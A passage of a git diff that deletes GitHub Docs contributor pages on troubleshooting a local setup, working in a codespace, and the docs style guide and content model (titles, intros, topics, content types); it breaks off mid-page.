a/content/contributing/setting-up-your-environment-to-work-on-github-docs/troubleshooting-your-environment.md +++ /dev/null @@ -1,110 +0,0 @@ ---- -title: Troubleshooting your environment -intro: 'Learn about troubleshooting problems in your local environment and the {% data variables.product.prodname_docs %} staging platform.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## Troubleshooting tests that fail locally but pass in CI - -If you run tests locally and get failures in `tests/rendering/server.js` around static assets, stylesheets, or the client-side JavaScript bundle, but the same tests pass in CI on a PR, run the command `npm run build`. This is a one-time command that creates static assets locally. - -For more information, see [AUTOTITLE](/contributing/setting-up-your-environment-to-work-on-github-docs/creating-a-local-environment). - -## Troubleshooting stalled staging deployments - -If a staging deployment is pending for more than ten minutes, try closing your pull request (without deleting the branch) and reopening it. This will trigger a new staging deployment. It won't break anything. - -If that doesn't work, use the commands below to trigger a new staging deployment by pushing an empty commit on the command line. - -```shell -git commit --allow-empty -m 'empty commit to redeploy staging' -git push -``` - -## Troubleshooting stalled or stuck CI - -If your tests are stuck on "In progress" or "Pending" for more than an hour, use the commands below to rerun CI by pushing an empty commit on the command line. - -```shell -git commit --allow-empty -m 'empty commit to rerun CI' -git push -``` - -## Troubleshooting local server problems - -If you are running `npm start` and get a `Cannot find module` error, try the following command before restarting the server. - -```shell -npm install -``` - -If that doesn't fix the problem, use the following command to remove the `node_modules` directory and reinstall. - -```shell -rm -rf node_modules -npm install -``` - -## Troubleshooting staging problems - -If you are having trouble with the staging server, you should see more information about the error in your browser or on the command line if you run the site locally. Check out your branch locally and use the following command to launch the local server. - -```shell -npm start -``` - -When the server is running, navigate to the problematic article on `https://localhost:4000` in your browser. The staging server will just show an "Oops" error, but the local server should show a stack trace for debugging. - -If you see an error resembling the one below, make sure single quotes are properly escaped in the frontmatter. Also, check the formatting in `redirect_from` blocks. For more information, see [AUTOTITLE](/contributing/syntax-and-versioning-for-github-docs/using-yaml-frontmatter#escaping-single-quotes). - -```text -error parsing file: /Users/z/git/github/docs/content/dotcom/articles/troubleshooting-custom-domains-and-github-pages.md -(node:89324) UnhandledPromiseRejectionWarning: YAMLException: can not read a block mapping entry; a multiline key may not be an implicit key at line 4, column 14: - redirect_from: - ^ -``` - -## Checking internal links - -The "Link Checker: On PR" test reports broken links on the site, including images. If there are broken links, the test will fail and the test's details view will show either `TitleFromAutotitleError` errors, which just report the broken link URL, or a more descriptive report which also lists the page that contains the broken link. - -If the error does not include the location of the broken link, you will need to search the `docs` repository for the broken link to find the file. - -When you locate the broken link, make sure the link is versioned correctly. For example, if the article only exists for GHES version 3.8+, make sure the link is versioned for 3.8+. - -If an article that is available for {% data variables.product.prodname_ghe_server %} links to a different version of {% data variables.product.prodname_docs %}, include the version in the path to prevent the URL from automatically converting to include a {% data variables.product.prodname_ghe_server %} version number. The following example demonstrates how to link from a {% data variables.product.prodname_ghe_server %} article to a Free, Pro, & Team version of an article. - -```text -[{% raw %}{{ data variables.product.prodname_github_connect }} Addendum to the {{ data variables.product.prodname_enterprise }} License Agreement{% endraw %}](/free-pro-team@latest/articles/github-connect-addendum-to-the-github-enterprise-license-agreement/)" -``` - -## Debugging locally - -During development, you can visit any page on `http://localhost:4000` and add `?json=page` to the end of the path to show some underlying information that may be helpful for debugging. In addition to basic info like title and intro, these are a few fields that may be useful. - -| Field | Description | -| ----- | ----------- | -|`productVersions` | Shows what the site is parsing from the `productVersions` frontmatter. -| `permalinks` | Shows all permalinks that the site is generating for the page. -| `redirect_from` | Shows the hardcoded redirects in the `redirect_from` frontmatter. -| `redirects` | Shows all redirects that the site is generating for the page. -| `includesPlatformSpecificContent` | Shows whether the site detects any platform-specific content on the page. - -## Working with liquid processing - -If your text or code example includes content between curly brackets (`{` and `}`), you need to wrap it between <code>{% raw %}</code> and <code>{% raw %}</code> tags to disable Liquid processing for that section. For example: - -* **Use:** - - <pre> - GITHUB_TOKEN: {% raw %}${% raw %}{{ secrets.GITHUB_TOKEN }}{% endraw %}{% endraw %} - </pre> - -* **Avoid:** - - <pre> - GITHUB_TOKEN: ${% raw %}${{ secrets.GITHUB_TOKEN }}${% endraw %} - </pre> diff --git a/content/contributing/setting-up-your-environment-to-work-on-github-docs/working-on-github-docs-in-a-codespace.md b/content/contributing/setting-up-your-environment-to-work-on-github-docs/working-on-github-docs-in-a-codespace.md deleted file mode 100644 index 6c18b4247b03..000000000000 --- a/content/contributing/setting-up-your-environment-to-work-on-github-docs/working-on-github-docs-in-a-codespace.md +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: Working on GitHub Docs in a codespace -shortTitle: Working in a codespace -intro: 'You can use {% data variables.product.prodname_github_codespaces %} to work on documentation for {% data variables.product.prodname_docs %}.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About {% data variables.product.prodname_github_codespaces %} - -{% data variables.product.prodname_github_codespaces %} allows you to work in a development environment that's hosted remotely from your machine. You can get started quickly, without needing to set up the working environment or download files to your local computer. - -For more information, see [AUTOTITLE](/free-pro-team@latest/codespaces/quickstart). - -## Working on documentation in a codespace - -The following steps assume you have {% data variables.product.prodname_github_codespaces %} set up to edit files using {% data variables.product.prodname_vscode %} for Web. The steps are very similar if you have set a different editor. For more information, see [AUTOTITLE](/free-pro-team@latest/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces). - -1. Navigate to the open source repository for {% data variables.product.prodname_docs %}, [`github/docs`](https://github.com/github/docs). -1. If you're an open source contributor, create a fork of the repository, then follow the rest of the steps in this procedure from your fork. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/working-with-forks/fork-a-repo). -1. Create a branch to work on. For more information, see [AUTOTITLE](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository). -1. On the main page of the repository, click **{% octicon "code" aria-hidden="true" %} Code**, then click **Create codespace on BRANCH-NAME**. - - The "Setting up your codespace" page is displayed. After a short time the browser-based version of {% data variables.product.prodname_vscode %} is displayed. -1. Use the Explorer to navigate to the markdown file you want to edit. If the file is an article, it will be located in the `content` directory. If the file is reusable content, it will be located in the `data` directory. - - In most cases, the path to an article in the `content` directory matches the path in the URL, minus the `.md` file extension. For example, the source for the article `https://docs.github.com/en/codespaces/quickstart` is the markdown file `content/codespaces/quickstart.md`.<!-- markdownlint-disable-line search-replace --> -1. Edit the markdown file as required. -1. Save your changes. -1. Commit and push your changes, either using the Source Control view, or using Git commands from the Terminal. For more information, see [AUTOTITLE](/get-started/using-git/about-git). - -## Creating a pull request - -1. Navigate to the "Pull requests" tab of the `github/docs` repository at [github.com/github/docs/pulls](https://github.com/github/docs/pulls). -1. Click **New pull request**. -1. If you're an open source contributor, click **compare across forks**, then choose the forked repository you created and your working branch. - - Otherwise, change the "compare" branch to your working branch. -1. Check that the changes displayed include all of the changes you made in the codespace. If they do not, this may indicate there are changes you have not pushed from the codespace to {% data variables.product.prodname_dotcom %}. -1. Click **Create pull request**. -1. Enter the details for your pull request and click **Create pull request**. - - Your pull request will be reviewed by a member of the {% data variables.product.prodname_docs %} team. diff --git a/content/contributing/style-guide-and-content-model/about-combining-multiple-content-types.md b/content/contributing/style-guide-and-content-model/about-combining-multiple-content-types.md deleted file mode 100644 index 30530621dcd5..000000000000 --- a/content/contributing/style-guide-and-content-model/about-combining-multiple-content-types.md +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: About combining multiple content types -shortTitle: Combining multiple types -intro: You can combine multiple content types in a single article to help people complete complex tasks. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Often, it's helpful to group information in context to help people complete a complex task, understand a set of related tasks, or illustrate an entire workflow. Use longer articles combining content types to ensure people find contextual content in the right place. Longer articles also help eliminate duplication of content and prepare content to scale as more options are added to the product. People most often need longer articles while actively using the product, and they may need to consult the article at different points on their journey. - -## How to combine multiple content types in an article - -* Use conceptual, procedural, referential, troubleshooting, or known issue content in a longer article, and do not use quickstart or tutorials. -* Use sections of different content types in the article as needed, and follow title guidelines for the content type. -* Most often, these articles will contain at least one procedural section plus at least one additional conceptual, referential, or procedural section. -* Use the content ordering guidelines to organize headers within the article. -* Use troubleshooting information as frequently as possible. -* You can replicate the article’s title in a header if needed. - -## Title guidelines for articles that combine multiple content types - -* If there is a procedure within the article, use a task-based title that begins with a gerund. -* Titles are general enough to describe the range of information and tasks contained within the article. -* Titles describe the setting being toggled and are agnostic about what setting the reader chooses, e.g., "Setting repository visibility” instead of "Making a private repository public.” - -## Examples of articles that combine multiple content types - -* [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility) -* [AUTOTITLE](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-repository-management-policies-in-your-enterprise) -* [AUTOTITLE](/free-pro-team@latest/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription) -* [AUTOTITLE](/enterprise-server@latest/admin/configuration/enabling-and-scheduling-maintenance-mode) diff --git a/content/contributing/style-guide-and-content-model/about-the-content-model.md b/content/contributing/style-guide-and-content-model/about-the-content-model.md deleted file mode 100644 index d07db0d92859..000000000000 --- a/content/contributing/style-guide-and-content-model/about-the-content-model.md +++ /dev/null @@ -1,126 +0,0 @@ ---- -title: About the content model -shortTitle: About the content model -intro: The content model describes the structure and types of content that we publish. -redirect_from: - - /contributing/writing-for-github-docs/content-model -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Our content model explains the purpose of each type of content we create within {% data variables.product.prodname_docs %}, and what to include when you write or update an article. We use a content model to ensure that our content consistently, clearly, and comprehensively communicates the information that people need to achieve their goals with {% data variables.product.prodname_dotcom %}. - -We use these types across all documentation sets to provide a consistent user experience––any content type applies to any product or audience. Our content types evolve over time and we add new types as needed. We only publish content that follows the model. - -Consistency helps people form mental models of the documentation and understand how to find the information they need as they return to {% data variables.product.prodname_docs %} over time. It is also more efficient to maintain and update consistent content, making it easier and quicker to contribute to docs whether you are an open source contributor making your first commit or a writer on the {% data variables.product.prodname_dotcom %} staff documenting an entire new product. - -## Content structure - -Docs are organized into multiple levels of hierarchy on our site. - -* Top-level doc set - * Categories - * Map topics - * Articles - * Articles - * Articles - -Organizing content is a balance between making specific groupings that help people find what they are searching for and limiting the layers of hierarchy through which people must navigate. Deep hierarchies with many map topics nested together can make it hard to find specific articles. Wide hierarchies with many categories or articles at the same level make it difficult for people to evaluate and decide what they want to select. - -## Homepage content - -The {% data variables.product.prodname_docs %} homepage, [docs.github.com](/), highlights the most important topics that people want to find. We limit the number of doc sets on the homepage so that people can find information and the homepage does not become overcrowded and difficult to search.<!-- markdownlint-disable-line search-replace --> - -The homepage includes all top-level doc sets and some categories. Content on the homepage is organized around {% data variables.product.prodname_dotcom %} concepts and practices. For example, the "CI/CD and DevOps" group includes top-level doc sets for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_pages %}. - -### Adding a doc set to the homepage - -The goal of the homepage is to help people find information about the {% data variables.product.prodname_dotcom %} feature or product that they want to learn about. Every item added to the homepage dilutes the discoverability of every other item, so we limit the number of doc sets included on the homepage. - -If a new top-level doc set is created, it is added to the homepage. - -If a category serves as the starting point for using a {% data variables.product.prodname_dotcom %} product or feature, it can be added to the homepage. - -For example, under the "Security" grouping on the homepage, in addition to the [Code security](/code-security) top-level doc set, the [Supply chain security](/code-security/supply-chain-security), [Security advisories](/code-security/security-advisories), [{% data variables.product.prodname_dependabot %}](/code-security/dependabot), [{% data variables.product.prodname_code_scanning_caps %}](/code-security/code-scanning), and [{% data variables.product.prodname_secret_scanning_caps %}](/code-security/secret-scanning) categories are included because each of those categories are the entry point to {% data variables.product.prodname_dotcom %} products and features. [Security overview](/code-security/security-overview) is not included on the homepage because it provides additional information for using secure coding features and is not an introduction to a product or feature. - -## Top-level doc set - -Top-level doc sets are organized around a {% data variables.product.prodname_dotcom %} product, feature, or core workflow. All top-level doc sets appear on the {% data variables.product.prodname_docs %} homepage. You should only create a top-level doc set when there is a large amount of content to be contained in the new doc set, multiple categories that are broken down into map topics, and the topic applies across products, features, or account types. If the content could fit in any existing top-level doc set, it probably belongs in that existing doc set. -* Top-level doc sets are of roughly equal importance to one another (each is centered on a {% data variables.product.prodname_dotcom %} product or major feature). -* Most top-level doc sets have a landing page layout, unless there is a significant exception. For example, the [Site policy](/free-pro-team@latest/site-policy) doc set does not have guides or procedural articles like other doc sets, so it does not use a landing page layout. -* Top-level doc sets can contain a mix of categories, map topics, or articles. - -### Titles for top-level doc sets - -* Feature or product based. -* Describes what part of {% data variables.product.prodname_dotcom %} someone is using. -* Examples - * [AUTOTITLE](/organizations) - * [AUTOTITLE](/issues) - -## Category - -Categories are organized around a feature or a discrete set of tasks within a top-level doc set aligned with product themes. A category's subject is narrow enough that its contents are manageable and does not grow too large to use. Some categories appear on the homepage. -* Categories often start small and grow with the product. -* Categories may contain map topics to subdivide content around more specific user journeys or tasks. -* Use long procedural articles to group related chunks of content and keep articles within the category streamlined. -* When categories have more than ten articles, consider breaking the content into map topics or additional categories. -* Categories can contain a mix of map topics or articles. - -### Titles for categories - -* Task-based (begins with a gerund). -* Describes the big-picture purpose or goal of using the feature or product. -* General or high-level enough to scale with future product enhancements. -* Category titles must be 67 characters or shorter and have a [`shortTitle`](https://github.com/github/docs/tree/main/content#shorttitle) less than 27 characters. -* Examples - * [AUTOTITLE](/account-and-profile/setting-up-and-managing-your-personal-account-on-github) - * [AUTOTITLE](/pull-requests/committing-changes-to-your-project) - -### Intros for categories - -All categories have intros. Intros should be one sentence long and general or high-level enough to scale with future product changes. If you significantly change a category’s structure, check its intro for needed updates. - -## Map topic - -Map topics introduce a section of a category, grouping articles within a category around more specific workflows or subjects that are part of the category’s larger task. - -Map topics contain at least two articles. When map topics have more than eight articles, it may be useful to consider breaking the content into more specific map topics. - -In general, avoid having a map topic within a map topic unless it is the best way to meet a specific user need. - -### Titles for map topics - -* Task-based (begins with a gerund). -* Describes a more specific task within the larger workflow of the category it’s in. -* General or high-level enough to scale with future additions to the product. -* Map topic titles must be 63 characters or shorter and have a [`shortTitle`](https://github.com/github/docs/tree/main/content#shorttitle) less than 30 characters. -* Examples - * [AUTOTITLE](/code-security/supply-chain-security/understanding-your-software-supply-chain) - * [AUTOTITLE](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise) - -### Intros for map topics - -All map topics have intros. Intros should be one sentence long and general or high-level enough to scale with future product changes. If you add or remove articles in a map topic, check its intro for needed updates. - -## Article - -An article is the basic unit of content for {% data variables.product.prodname_docs %}––while we use multiple content types, they are all published as articles. Each content type has its own purpose, format, and structure, yet we use standard elements in every article type, like intros, to ensure articles provide a consistent user experience. - -## Content order - -We organize content predictably within categories, map topics, and articles. From broadest applicability to most specific, narrow, or advanced information, following this order: -* Conceptual content -* Referential content -* Procedural content for enabling a feature or setting -* Procedural content on using a feature -* Procedural content on managing a feature or setting -* Procedural content on disabling a feature or setting -* Procedural content on destructive actions (e.g. deletion) -* Troubleshooting information - -## Reusing content - -We use reusable and variable strings to use the same chunk of content, such as a procedural step or a conceptual paragraph, in multiple places. We generally don't reuse large sections of articles without a specific reason. When an entire section of an article might be relevant in more than one article, take a look at the purpose of both. Is there an opportunity to create a single, long-form article? Refer to the content models to clarify the best permanent home for the information, and link to it from the other article. diff --git a/content/contributing/style-guide-and-content-model/about-topics.md b/content/contributing/style-guide-and-content-model/about-topics.md deleted file mode 100644 index 06a061764085..000000000000 --- a/content/contributing/style-guide-and-content-model/about-topics.md +++ /dev/null @@ -1,58 +0,0 @@ ---- -title: About topics -shortTitle: About topics -intro: Use topics to make articles searchable. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -An article can be defined as being relevant to one or more topics by having those topics listed in the article's frontmatter. For example: - -```yaml ---- -title: "Managing branches in your repository" -topics: - - "GitHub" - - "Git" - - "Repositories" ---- -``` - -For more information on adding topics to an article see, [AUTOTITLE](/contributing/writing-for-github-docs/using-yaml-frontmatter#topics). For a list of all allowed topics, see [`allowed-topics`](https://github.com/github/docs/blob/main/data/allowed-topics.js). - -## Topics for all content types - -* Use nouns as topics -* Topics help people meaningfully group content - * When possible, use more specific topics that are relevant and not just broad topics. For example, `REST` or `GraphQL` rather than just `API` - * Ensure that topics on similar articles are consistent so that people who filter by a topic get all of the relevant articles. For example, all articles about CI should have the `CI` topic plus more specific topics - * Avoid ambiguous topics. For example, `Actions` may not be a useful topic within the Actions product since it could refer to the product {% data variables.product.prodname_actions %} or the product element called an action -* Topics add value beyond and do not replicate the article’s title, type, or category - * For example, within the Actions product, `Actions` does not add value since someone in this section of the docs would already know that they are looking at Actions docs -* Use `Fundamentals` for articles related to the core concepts of a product area. - * Use: `Fundamentals` in an article like “Introduction to {% data variables.product.prodname_actions %}” - * Avoid: `Actions` in an article like "Introduction to {% data variables.product.prodname_actions %}" -* Commonly-recognized abbreviations can be used, but obscure or ambiguous abbreviations should be avoided - * Use: `CI` instead of `Continuous integration` - * Avoid: `CS` instead of `{% data variables.product.prodname_code_scanning_caps %}` -* Use the short forms of {% data variables.product.prodname_dotcom %} product names - * Use: `Actions` instead of `GitHub Actions` - -## Checklist for choosing topics - -Consider these questions to help choose topics for an article. Not every article will have a topic for each item in the checklist. - -* What is the feature or product area? - * Example: `Enterprise` - Is the article about a sub-feature (unless the product name matches the feature name)? - * Example: `Dependabot` -* Is the feature part of a restricted program? - * Examples: `{% data variables.product.prodname_copilot_short %}` -* What element of the feature or product is the article? - * Example: `Organizations` -* What is the broad purpose of the article? - * Example: `Permissions` -* What programming languages, package managers, or ecosystems does the article explicitly address? Only include these topics if it adds value to someone filtering the docs, not just if an article lists supported languages, package managers, or ecosystems. - * Example: `Ruby` diff --git a/content/contributing/style-guide-and-content-model/conceptual-content-type.md b/content/contributing/style-guide-and-content-model/conceptual-content-type.md deleted file mode 100644 index 01644aa69f7a..000000000000 --- a/content/contributing/style-guide-and-content-model/conceptual-content-type.md +++ /dev/null @@ -1,39 +0,0 @@ ---- -title: Conceptual content type -intro: People most often use conceptual content when they are learning about something new to them. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Conceptual content helps people understand a feature or topic by providing a clear, high-level overview, explanation of how the feature or topic can help them on their journey, and context like use cases or examples. - -We create conceptual articles and conceptual sections within other articles. Most major products, features, or subjects have their own conceptual article. - -## How to write conceptual content - -For the conceptual content template, see [AUTOTITLE](/contributing/writing-for-github-docs/templates#conceptual-article-template). - -* Describe in plain language what the feature, product, or topic is. -* Describe its purpose and why it’s useful to the reader. -* Share use cases or examples. -* If relevant, describe how the feature or topic works (be mindful of audience and the right location for deep dives into technical details). -* Highlight any details the reader needs to know to use the feature. -* Include next steps for getting started with the feature (whether through further reading links or content within the article itself). - -## Titles for conceptual content - -* Conceptual articles or headers of conceptual sections start with "About [subject]”. -* Use a noun to describe the subject. - * Use: "About {% data variables.product.prodname_code_scanning %}" - * Avoid: "About scanning your code for vulnerabilities" - -## Examples of conceptual content - -* Conceptual articles - * [About GitHub Sponsors](/free-pro-team@latest/sponsors/getting-started-with-github-sponsors/about-github-sponsors) - * [About Enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts) -* Conceptual sections within other articles - * "About security policies" in [AUTOTITLE](/code-security/getting-started/adding-a-security-policy-to-your-repository#about-security-policies) - * "About maintenance mode" in [AUTOTITLE](/enterprise-server@latest/admin/configuration/enabling-and-scheduling-maintenance-mode#about-maintenance-mode) diff --git a/content/contributing/style-guide-and-content-model/contents-of-a-github-docs-article.md b/content/contributing/style-guide-and-content-model/contents-of-a-github-docs-article.md deleted file mode 100644 index 4ebaeb0c69d2..000000000000 --- a/content/contributing/style-guide-and-content-model/contents-of-a-github-docs-article.md +++ /dev/null @@ -1,192 +0,0 @@ ---- -title: Contents of a GitHub Docs article -shortTitle: Contents of an article -intro: 'Every article includes a few standard elements, and may include conditional or optional elements. We also use a standard order for content within an article.' -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -## About the structure of an article - -Within an article, there is a standard order of content sections. Every article contains required elements. Articles will also contain conditional elements and optional elements outlined in content design or creation. See the guidelines below for more details. - -![Screenshot of article with title, intro, permissions, product callout, conceptual section, procedural section, and table of contents labeled.](/assets/images/contributing/illustration-of-article-contents.png) - -## Titles - -Titles fully describe what a page is about, and what someone will learn by reading it. - -Titles can be challenging. Use these general guidelines to help create clear, helpful, and descriptive titles. The guidelines for each content type in this article provide more specific title rules. - -### Titles for all content types - -* Titles clearly describe what a page is about. They are descriptive and specific. - * Use: "Browsing actions in the workflow editor" - * Use: "Example of configuring a codespace" - * Avoid: "Using the workflow editor sidebar" - * Avoid: "Example" -* Titles have hard limits for length to keep them easy to understand (and easier to render on the site): - * Category titles: 67 characters and [`shortTitle`](https://github.com/github/docs/tree/main/content#shorttitle) 26 characters - * Map topic titles: 63 characters and [`shortTitle`](https://github.com/github/docs/tree/main/content#shorttitle) 29 characters - * Article titles: 80 characters, 60 if possible, and [`shortTitle`](https://github.com/github/docs/tree/main/content#shorttitle) 30 characters, ideally 20-25 characters -* Titles use sentence case. - * Use: "Changing a commit message" - * Avoid: "Changing A Commit Message" -* Titles are consistent across a content type. See specific guidelines for each content type. -* Titles are general enough to scale with product changes, reflect all of the content within the article, or include content on multiple products. - * Use: "{% data variables.product.company_short %}'s billing plans" - * Avoid: "Billing plans for user and organization accounts" -* Titles use consistent terminology. - * Develop and follow patterns within a category or on similar subjects. -* Titles use terminology from the product itself. -* Write the title and the intro at the same time. - * Use the intro to develop the ideas presented in the title. - * See guidance on [intros](#intro) for more information. -* If it's hard to come up with a title, consider the content type. Sometimes trouble choosing a title indicates that another content type would fit better. -* Think about how the title will appear in search results for multiple products. - * What specific words do we need to include in the title or intro so that folks don’t mistake it for content about a different product? -* Think about how the title will look in production. - -## Intro - -The top of every page has an intro that provides context and sets expectations, allowing readers to quickly decide if the page is relevant to them. Intros also are displayed in search results to provide contextual information to help readers choose a result. - -### How to write an intro - -* Article intros are one to two sentences long. -* Map topic and category intros are one sentence long. -* API reference intros are one sentence long. - * The intro for an API page should define the feature so that someone knows whether the feature meets their needs without reading the entire article. -* Intros contain a high-level summary of the page’s content, developing the idea presented in a title with more detail. - * Use approachable synonyms of words in the page’s title to help readers understand the article’s purpose differently. Avoid repeating words from the title when possible. -* Intros are relatively evergreen and high-level, so they can scale with future changes to the content on the page without needing to be frequently updated. -* For searchability, include keywords on the page's subject in the intro. -* When a term in the intro has an acronym we’ll use elsewhere in the article, indicate the acronym. -* Intros generally don't contain permissions for any tasks contained within the article. - -## Permissions statements - -Every procedure includes a permissions statement explaining the role required to take the action described in the procedure, which helps people understand whether they'll be able to complete the task. - -Occasionally, it's relevant to mention required permissions in conceptual content, especially in standalone conceptual articles. Make sure to also include a permissions statement in related procedures (or write a longer article combining all of the content). - -### How to write a permissions statement - -* When a single set of permissions applies to all procedures in an article, use the [permissions frontmatter](https://github.com/github/docs/tree/main/content#permissions). -* When an article contains multiple procedures and different permissions apply, include a separate permissions statement under each relevant header, before each procedure. -* Don't include permissions in an article’s intro. -* Roles exist at different levels. Refer only to the role at the same level as the action. For example, you need admin access to a repository (repository-level role) to configure protected branches. You can get admin access to a repository by being an organization owner (organization-level role), but the repository-level role is what actually governs your ability to take the action, so that is the only role that should be mentioned in the permissions statement. -* Language to use in a permissions statement: - * People with [ACCOUNT ROLE]. - * [ACCOUNT ROLE] can [ACTION]. - * People with [FEATURE ROLE] access for a [FEATURE] can [ACTION]. - * AVOID: [ACCOUNT ROLE] and people with [FEATURE ROLE] access for a [FEATURE] can [ACTION]. - -See the [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#permission-statements-and-product-callouts) for more information on formatting permission statements. - -## Product callout - -Use the product callout when a feature is available in specific products only and that availability cannot be conveyed by versioning alone. For example, if a feature is available for GHEC and GHES, you can version content about the feature for GHEC and GHES only. If a feature is available for Pro, Team, GHEC, and GHES (but not Free), use a product callout to convey that availability. - -All product callouts are stored as reusables in [`gated-features`](https://github.com/github/docs/tree/main/data/reusables/gated-features) and added in YAML frontmatter for relevant articles. - -### How to write a product callout - -* Product callouts follow a strict format, clearly identifying the feature and which products it’s available in. -* Product callouts may include links to articles that directly help users understand who can use the feature. These links can be inline links to the specific products or GitHub plans that are required. -* Examples: - * [Feature name] is available in [product(s)]. - * [Feature name] is available in public repositories with [free product(s)], and in public and private repositories with [paid products]. - -### Examples of articles with product callouts - -Check the source files and `gated-features` to see how source content is written. -* [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/managing-a-branch-protection-rule) - -## Tool switcher - -Some articles have content that varies depending on what tool someone uses to complete a task, such as the {% data variables.product.prodname_cli %} or {% data variables.product.prodname_desktop %}. For most content, the same conceptual or procedural information will be accurate for multiple tools. However, if the only way to make information clear and accurate is by distinguishing content by tool, use the tool switcher. Do not use the tool switcher just to show examples in different languages. Only use the tool switcher if the tasks or concepts change based on what tool someone uses. For more information, see [AUTOTITLE](/contributing/writing-for-github-docs/creating-tool-switchers-in-articles). - -## Table of contents - -Tables of contents are automatically generated. For more information see [Autogenerated mini-TOCs](https://github.com/github/docs/tree/main/content#autogenerated-mini-tocs). - -## Conceptual content - -Conceptual content helps people understand or learn about a topic. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/conceptual-content-type) in the content model. - -## Referential content - -Referential content provides structured information related to actively using a product or feature. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/referential-content-type) in the content model. - -## Prerequisites - -Prerequisites are information that people need to know before proceeding with a procedure, so that they can prepare everything they need before starting the task. - -### How to write prerequisites - -* Write prerequisites immediately before a procedure's numbered steps. -* You can use a list, a sentence, or a paragraph to explain prerequisites. -* You can also use a separate prerequisites section when: - * The prerequisite information is very important and should not be missed. - * There's more than one prerequisite. -* To repeat or highlight important information about data loss or destructive actions, you may also use a warning or danger callout to share a prerequisite. - -### Title guidelines for prerequisites - -* When using a separate section, use a header called `Prerequisites` - -### Examples of articles with prerequisites sections - -* [AUTOTITLE](/enterprise-server@latest/admin/installation/installing-github-enterprise-server-on-aws) -* [AUTOTITLE](/enterprise-server@latest/admin/configuration/enabling-subdomain-isolation) - -## Procedural content - -Procedural content helps people complete tasks. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/procedural-content-type) in the content model. - -## Troubleshooting content - -Troubleshooting content helps people avoid or work through errors. For more information, see [AUTOTITLE](/contributing/style-guide-and-content-model/troubleshooting-content-type) in the content model. - -## Next steps - -When an article describes one step in a larger process or has a logical next step that most people will want to do, include a next steps section. You can link people to articles or other {% data variables.product.prodname_dotcom %} resources. - -### Examples of next steps sections - -```markdown -## Next steps - -- You can monitor self-hosted runners and troubleshoot common issues. See "Monitoring and troubleshooting self hosted runners." - -- {% data variables.product.company_short %} recommends that you review security considerations for self-hosted runner machines. See "Security hardening for {% data variables.product.prodname_actions %}." -``` - -In this example from [AUTOTITLE](/enterprise-cloud@latest/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-self-hosted-runners-for-your-enterprise#next-steps), the next steps section includes links to procedures that someone will need to do after they start using the feature described in the article. - -```markdown -## Next steps - -After your enterprise account is created, we recommend learning more about how enterprise accounts work and configuring settings and policies. Follow the "Get started with your enterprise account" learning path. -``` - -In this example from [AUTOTITLE](/enterprise-cloud@latest/admin/managing-your-enterprise-account/creating-an-enterprise-account#next-steps), the next step links to where most people who just finished creating an enterprise account would want to go next. - -## Further reading - -If there are additional articles that help people complete their task or learn to use the topic described in the current article, include them in a further reading section. Only include links to articles that have not already been linked to within the content of the article. - -Only include links that help people with the task or topic at hand. It is better to be focused and provide people with valuable resources than to offer them every possible link. - -Format further reading sections using unordered lists. See [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#links) for how to write links. - -### Title and format for further reading sections - -```markdown -## Further reading -- [Article title](article-URL) -- [External resource title](external-resource-URL) in External Resource Name -``` diff --git a/content/contributing/style-guide-and-content-model/index.md b/content/contributing/style-guide-and-content-model/index.md deleted file mode 100644 index bfdebf3b1c24..000000000000 --- a/content/contributing/style-guide-and-content-model/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Style guide and content model -intro: 'Learn about how we keep GitHub''s documentation consistent, easy to follow, and maintainable.' -versions: - feature: 'contributing' -children: - - /style-guide - - /about-the-content-model - - /contents-of-a-github-docs-article - - /about-topics - - /conceptual-content-type - - /referential-content-type - - /procedural-content-type - - /troubleshooting-content-type - - /release-note-content-type - - /quickstart-content-type - - /tutorial-content-type - - /about-combining-multiple-content-types ---- diff --git a/content/contributing/style-guide-and-content-model/procedural-content-type.md b/content/contributing/style-guide-and-content-model/procedural-content-type.md deleted file mode 100644 index c5bd57493919..000000000000 --- a/content/contributing/style-guide-and-content-model/procedural-content-type.md +++ /dev/null @@ -1,38 +0,0 @@ ---- -title: Procedural content type -intro: Procedural content gives context on how a task fits into someone's larger goal. -versions: - fpt: '*' - ghec: '*' - ghes: '*' ---- - -Procedural content helps people complete a task from start to finish while they are using {% data variables.product.prodname_dotcom %}. - -We create procedural articles and procedural sections within larger articles. - -## How to write procedural articles - -For the procedural content template, see [AUTOTITLE](/contributing/writing-for-github-docs/templates#procedural-article-template). - -* Follow the style guidelines for procedural steps in [AUTOTITLE](/contributing/style-guide-and-content-model/style-guide#procedural-steps). -* Procedural content can get repetitive––look for opportunities to group related content into a single longer article. - * Group multiple related procedures into a single article unless there's a reason not to. - * If disabling a setting or undoing a task requires the same steps and has no special implications, do not write a separate procedure. - * If disabling a setting or undoing a task requires different steps or has important or special implications, create a longer article to contain both procedures. Use an agnostic title. -* Tell readers the expected outcome of the procedure. -* Include troubleshooting tips as frequently as possible. - -## Titles for procedural content - -* Procedural articles or procedural sections within articles are task-based and begin with a gerund. - * 